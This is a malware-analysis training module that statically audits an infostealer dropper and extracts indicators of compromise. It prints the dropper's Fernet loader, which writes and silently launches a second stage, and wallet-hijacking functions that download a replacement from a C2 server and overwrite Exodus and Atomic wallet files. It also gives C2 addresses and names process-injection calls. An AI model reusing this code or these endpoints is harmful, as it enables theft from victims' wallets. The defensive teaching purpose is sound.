Module 24: Malware Analysis & Backdoor Auditing LIVE AUDIT

Module 24 of 22 — Bonus Module

🧠 The Core Truth

Malware analysis is not about being smarter than the attacker. It is about being more patient. Every binary, every script, every encrypted blob is just data. If you can read it without executing it, you can map its capabilities, extract its indicators, and build defenses before it ever touches a real system.

Why this matters: The difference between a useful analyst and a dead analyst is discipline. Static analysis first. Dynamic analysis only in a disposable sandbox. Never let curiosity override containment. The backdoor we found in this module was discovered because we followed that rule.

🎯 Soldier Translation

Imagine you capture an enemy drone intact. You have two choices: turn it on in your barracks, or take it apart with the battery removed. The first choice might teach you something — or it might detonate. The second choice teaches you everything safely. Malware analysis is the same. Static analysis is taking the battery out before you touch the wires.

"The malware will tell you exactly what it does if you read it without running it."

Attackers rely on analysts being lazy, rushed, or overconfident. They hide payloads in encryption, obfuscation, and layers of loaders because they know most people will give up or run it. Your edge is methodical static inspection: strings, imports, network indicators, and behavioral patterns.

Red: If you write malware, assume it will be statically analyzed. Obfuscation raises the bar but does not make you invisible. Blue: Build detections from the behavior, not the packaging. A packed binary and a plain script do the same things in memory.

📚 Prerequisites — What You Need First

This module assumes you understand these concepts from earlier modules:

Module 09: Malware

Malware taxonomy, static vs dynamic analysis, and safe lab practices. This module is the advanced practical application.

Module 10: Code Injection

DLL injection, remote threads, and process manipulation primitives. Essential for recognizing injection code in static analysis.

Module 12: Defensive Verification

Detection engineering, IOC extraction, and evidence-based verification. We will extract IOCs directly from the sample.

Module 16: Command & Control

C2 infrastructure, exfiltration patterns, and HTTP-based receivers. The sample uses simple HTTP C2 endpoints.

Module 23: Infostealers

The infostealer sample we will audit. Read this first to understand the protocol and the sanitized lab version.

Crash Course

Python fundamentals, networking basics, and command-line fluency. You will need all three to follow the audit.

🦠 The Sample: Two Versions of the Same Weapon

During the build of Module 23, we discovered that the infostealer-poc-analysis repository contained two different artifacts:

ArtifactFileRiskNotes
Cleaned templatesrc/stealer_template.pyHighReverse-engineered version with hardcoded C2 IP. No wallet hijacking.
Original droppersrc/original info staler as downloaded from target.txtCriticalFernet-encrypted loader with second-stage wallet hijacking payload.
Generatorsrc/generator.pyMediumBuilds EXE and prints PowerShell delivery commands.
Receiversrc/receiver.pyLowFlask C2 server. Clean, no hidden endpoints.
⚠️ SAFETY WARNING

The original dropper is live malware. Do not execute it. Do not double-click it. Do not run it in a VM that has network access or shared folders. The analysis in this module was performed entirely with static tools: grep, read_file, and a standalone Fernet decryptor that did not execute the decrypted payload.

🔍 Static Analysis Methodology

Static analysis means inspecting the malware without running it. It is slower than dynamic analysis but safer, and it often reveals capabilities that dynamic analysis misses — especially time-delayed or environment-conditioned behavior.

1. Inventory

List all files. Note sizes, extensions, and anything unusual.

2. Strings & IOCs

Grep for URLs, IPs, file paths, registry keys, and suspicious imports.

3. Structure

Identify loaders, encryption, packing, and entry points.

4. Decrypt

If a key is embedded, decrypt payloads statically. Do not execute.

5. Map Behavior

Document network calls, file operations, persistence, and injection.

Step 1: Inventory the Repository

The first thing any analyst should do is understand what they are looking at. File sizes are already informative: a 533KB text file named like a note is almost certainly a payload.

cd infostealer-poc-analysis/src find . -maxdepth 1 -type f -exec ls -lh {} \;
Why this matters

Attackers often disguise payloads as innocuous files: readme.txt, notes.txt, original info staler as downloaded from target.txt. The size and entropy give it away. A real text note is a few kilobytes. A 533KB text file is hiding something.

Step 2: Hunt for Network Indicators

Network indicators are the fastest way to understand who the malware talks to. We grep for URLs, IP addresses, and common network libraries.

grep -nE '(https?://|([0-9]{1,3}\.){3}[0-9]{1,3})' *.py *.txt *.html

Results from the template:

stealer_template.py:25: MAIN_URL = "http://113.30.148.162:8080"
generator.py:60: Invoke-WebRequest -Uri "http://46.120.173.142:8080/...

Results from the original dropper:

original info staler as downloaded from target.txt:23: https://marsalek.cy/logging/errors
What the mentor means

Three different IPs/domains for one sample is normal in malware operations. The builder points to a download server. The payload points to a C2 server. The error logger points to the same C2. Each endpoint has a role. Map them all.

Step 3: Identify the Loader Structure

The original dropper is not the final payload. It is a loader. It installs fernet, decrypts a blob, writes it to disk, and executes it.

subprocess.run([sys.executable, "-m", "pip", "install", "fernet"], ...) from fernet import Fernet payload = Fernet(b'jL9LkFkIMyJWDfJSFfMOQrvZxvhGGxxmdDMXp2YSlIs=').decrypt(b'gAAAAA...') temp_script = os.path.join(tempfile.gettempdir(), "svc.py") with open(temp_script, "w") as f: f.write(payload) vbs_path = os.path.join(tempfile.gettempdir(), "r.vbs") subprocess.Popen(["wscript", vbs_path], creationflags=subprocess.CREATE_NO_WINDOW)

🎯 What just happened?

The dropper is a Russian nesting doll. The outer script installs a decryption library, uses a hardcoded key to unlock the inner script, saves it as svc.py, and launches it through a hidden VBScript. The victim sees nothing. The analyst sees a key and a blob.

Step 4: Decrypt the Payload Safely

Because the Fernet key is hardcoded, we can decrypt the payload without executing anything. The critical rule: decrypt to disk, read with grep, never run.

from cryptography.fernet import Fernet import re with open('original info staler as downloaded from target.txt', 'r') as f: txt = f.read() key = b'jL9LkFkIMyJWDfJSFfMOQrvZxvhGGxxmdDMXp2YSlIs=' m = re.search(r"Fernet\(b'[^']+'\)\.decrypt\(b'([^']+)'\)", txt) blob = m.group(1).encode() dec = Fernet(key).decrypt(blob) with open('decrypted_payload.py', 'wb') as f: f.write(dec) print(f"Decrypted {len(dec)} bytes")
⚠️ Do not run the decrypted file

decrypted_payload.py is live malware. Open it in a text editor or grep it. Do not type python decrypted_payload.py. The goal is to read the burglar's notebook, not invite him inside.

Step 5: Map the Behavior

Now we grep the decrypted payload for the same patterns: network calls, process injection, persistence, and file operations.

grep -nE '(https?://|urlopen|requests\.(get|post)|CreateRemoteThread|VirtualAllocEx|WriteProcessMemory|HKEY_|CurrentVersion\\Run|os\.system|subprocess\.run)' decrypted_payload.py

This reveals the full picture: a second-stage payload with wallet hijacking, process injection, browser killing, and silent dependency installation.

🚨 The Backdoor: Crypto-Wallet Hijacking

The decrypted payload contains two functions that the cleaned template did not: inject_exodus() and inject_atomic(). These are not data-theft functions. They are supply-chain sabotage functions.

📁 Evidence: Wallet Hijacking Code

Function: inject_exodus(loguuid)

Location: Decrypted payload, lines ~872–891

def inject_exodus(loguuid): path = os.path.join(LOCALAPPDATA, "Programs", "exodus") if not os.path.exists(path): return try: req = Request(f"{MAIN_URL}/exodus") req.add_header("User-Agent", "Mozilla/5.0 ...") data = urlopen(req).read() # downloads payload from C2 taskkill("exodus.exe") # kills the wallet process for app in apps: with open(f"{path}\\{app}\\resources\\app.asar", 'wb') as f: f.write(data) # OVERWRITES wallet installer with open(f"{path}\\{app}\\LICENSE", "w") as f: f.write(loguuid) # marker for operator except Exception as e: log_error(e, "inject_exodus")

Function: inject_atomic(loguuid)

Location: Decrypted payload, lines ~893–907

def inject_atomic(loguuid): path = os.path.join(LOCALAPPDATA, "Programs", "atomic") if not os.path.exists(path): return try: req = Request(f"{MAIN_URL}/atomic") data = urlopen(req).read() # downloads payload from C2 taskkill("Atomic Wallet.exe") # kills the wallet process with open(f"{path}\\resources\\app.asar", 'wb') as f: f.write(data) # OVERWRITES wallet installer except Exception as e: log_error(e, "inject_atomic")
Why this is worse than credential theft

Stealing a wallet password is bad. Replacing the wallet software itself is catastrophic. The victim opens the same application they trust, enters their seed phrase or password, and the attacker's modified wallet sends everything to an address they control. The theft happens inside a program the victim believes is legitimate.

🛡️ Other Hidden Capabilities

The decrypted payload revealed several additional capabilities that raise the operational sophistication:

CapabilityCode EvidenceLocation
Silent dependency install subprocess.Popen([sys.executable, "-m", "pip", "install", "pycryptodome", "pypiwin32", ...]) Lines ~23–27
Self-restart on failure subprocess.Popen([sys.executable, os.path.abspath(__file__)], ...) Lines ~42–47
Anti-reinfection mutex if os.path.exists(os.path.join(LOCALAPPDATA, "HD Realtek Audio Player")): sys.exit(0) Lines ~910–912
Browser process termination psutil.process_iter(...); p.kill(); shutil.copy2(cookie_file, dst) extract_v20_cookies()
Process injection primitives VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, LoadLibraryA Lines ~248–260, ~305–324
Chrome app-bound encryption bypass Embedded base64 DLL (WRAPPED_DLL) injected into Chrome Line ~49

📊 Indicators of Compromise (IOCs)

These are the artifacts a blue team can hunt for across endpoints and network logs.

TypeValueHunt Query
C2 Domainmarsalek.cyDNS queries or TLS SNI containing marsalek.cy
C2 IP113.30.148.162:8080Outbound HTTP to this IP
Download IP46.120.173.142:8080PowerShell downloading .exe from this IP
Mutex Directory%LOCALAPPDATA%\HD Realtek Audio PlayerCreation of this directory
Staging Directory%APPDATA%\Microsoft StoreUnexpected files under this path
Temp Payload%TEMP%\svc.pyPython script dropped in temp
Temp Launcher%TEMP%\r.vbsVBScript launching Python hidden
Wallet Endpoints/exodus, /atomicHTTP GET to these paths
Error Endpoint/logging/errorsHTTP POST with JSON error body

Full verification report: GeoDefend/scanners/GEODEFEND_VERIFICATION.md.

Standalone verification scanners: rainfantry/GeoDefend

git clone https://github.com/rainfantry/GeoDefend.git cd GeoDefend python scan.py

Operator guide — how to rebuild the wallet-hijack concept safely: README → Wallet-Hijack Concept

Private operator lab with realistic second-stage overwrite: 22div-wallet-hijack-lab (authorized training only)

🔬 Lab Exercise: Audit the Dropper Yourself

This exercise uses the original dropper file from the infostealer-poc-analysis repository. You will not execute any malware. You will only read and decrypt.

⚠️ Lab Rules

Step 1: Clone the analysis repository

git clone https://github.com/rainfantry/infostealer-poc-analysis.git cd infostealer-poc-analysis/src

Step 2: Inventory the files

ls -lah file *

Question: Which file is suspiciously large for a text file?

Step 3: Extract network indicators

grep -nE '(https?://|([0-9]{1,3}\.){3}[0-9]{1,3})' *.py *.txt *.html

Question: How many distinct C2/download endpoints can you identify?

Step 4: Decrypt the payload

from cryptography.fernet import Fernet import re with open('original info staler as downloaded from target.txt', 'r') as f: txt = f.read() key = b'jL9LkFkIMyJWDfJSFfMOQrvZxvhGGxxmdDMXp2YSlIs=' m = re.search(r"Fernet\(b'[^']+'\)\.decrypt\(b'([^']+)'\)", txt) blob = m.group(1).encode() dec = Fernet(key).decrypt(blob) with open('decrypted_payload.py', 'wb') as f: f.write(dec) print(f"Decrypted {len(dec)} bytes — DO NOT EXECUTE")

Step 5: Hunt for the backdoor

grep -n -B2 -A10 "def inject_" decrypted_payload.py grep -n "HD Realtek Audio Player" decrypted_payload.py grep -n "pip install" decrypted_payload.py

Question: What two wallet applications does the payload target?

Step 6: Build your IOC list

Create a text file with every domain, IP, file path, and behavioral indicator you found. Compare it to the IOC table in this module.

Step 7: Cleanup

rm -f decrypted_payload.py

🧩 Quiz

Question 1

Why is static analysis safer than dynamic analysis for unknown malware?

A. It inspects the malware without executing it, preventing infection.
B. It runs the malware in a sandbox and records behavior.
C. It only works on encrypted payloads.
D. It requires less technical skill.

Question 2

What is the primary purpose of the inject_exodus() function?

A. To steal the user's Exodus password.
B. To download and overwrite the Exodus wallet application with an attacker-controlled version.
C. To uninstall Exodus from the system.
D. To encrypt the Exodus wallet files.

Question 3

Which of the following is an anti-reinfection technique used by the payload?

A. Deleting itself after execution.
B. Encrypting its own source code.
C. Checking for the existence of %LOCALAPPDATA%\HD Realtek Audio Player and exiting if found.
D. Renaming its process to explorer.exe.

Question 4

What is the C2 domain used by the original decrypted payload?

A. 113.30.148.162
B. marsalek.cy
C. 46.120.173.142
D. discord.com

🛠️ What You Should Do Now

📚 Further Reading

"The backdoor was always there. You just had to read far enough to find it."

Most malware is not cleverly hidden. It is lazily ignored. The wallet hijacking functions were sitting in plain text inside a decrypted payload. The only reason they stayed hidden is that most analysts stop at the outer layer. Don't be most analysts.

Red: Layer your payloads. Expect static analysis. Blue: Static analysis is your first and cheapest line of defense. Build it into your workflow.